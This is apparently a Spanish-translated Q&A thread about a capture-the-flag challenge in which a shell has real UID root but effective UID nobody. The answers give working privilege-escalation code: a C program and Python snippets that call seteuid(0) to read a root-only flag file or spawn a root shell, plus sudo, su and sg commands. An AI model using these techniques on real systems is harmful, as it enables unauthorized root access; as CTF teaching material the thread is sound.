![UID es root pero whoami dice que nadie](https://rvso.com/image/1618348/UID%20es%20root%20pero%20whoami%20dice%20que%20nadie.png)
Estoy participando en un concurso de captura de bandera en el que debo implementar algún tipo de escalada de privilegios para leer el flag.txt
archivo. He notado que cuando ejecuto whoami
obtengo el siguiente resultado:
myHostHere:/$ whoami
nobody
Pero cuando ejecuto id
mi UID está configurado en root
:
myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)
¿Significa esto que me es posible actuar como usuario root, etc. o estoy malinterpretando el resultado?
Editar:
La salida de ls -l flag.txt
es la siguiente:
-r--r----- 1 root root 34 Feb 10 12:00 flag.txt
Respuesta1
Esto se puede resolver escribiendo y compilando (con --static
) un programa en C como este en una máquina separada:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
seteuid(0);
setgid(0);
system("cat flag.txt");
}
Este archivo se puede copiar a la máquina CTF, se le puede otorgar permiso para ejecutarlo chmod +x
y ejecutarlo desde la tmp
carpeta.
Respuesta2
Creé una configuración muy similar a la tuya. Lo hice con un depurador (ejemplos:aquíyallá). En el caparazón afectado tengo:
$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$
Entonces, segúnesta respuesta:
El acceso a archivos y las operaciones que requieren privilegios de root, observe el UID y GID efectivos.
De hecho, esto es lo que sucede:
$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$
Pero puedo hacer esto:
$ sudo cat flag.txt
foo
O esto:
$ su -
# whoami
root
# cat flag.txt
foo
O esto:
$ sg root 'cat flag.txt'
foo
Cuando lo tenga uid=0
, cualquier cosa que pueda usar seteuid
la llamada al sistema y luego leer el archivo puede ayudarlo. P.ej python
:
import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()
En lugar de (o aparte de) leer el archivo, puedes generar un shell elevado:
import os
os.seteuid(0)
os.execve("/bin/sh", [], {})
En este caparazón estás root
; cat flag.txt
trabajará.
Banco de pruebas: Debian GNU/Linux 9.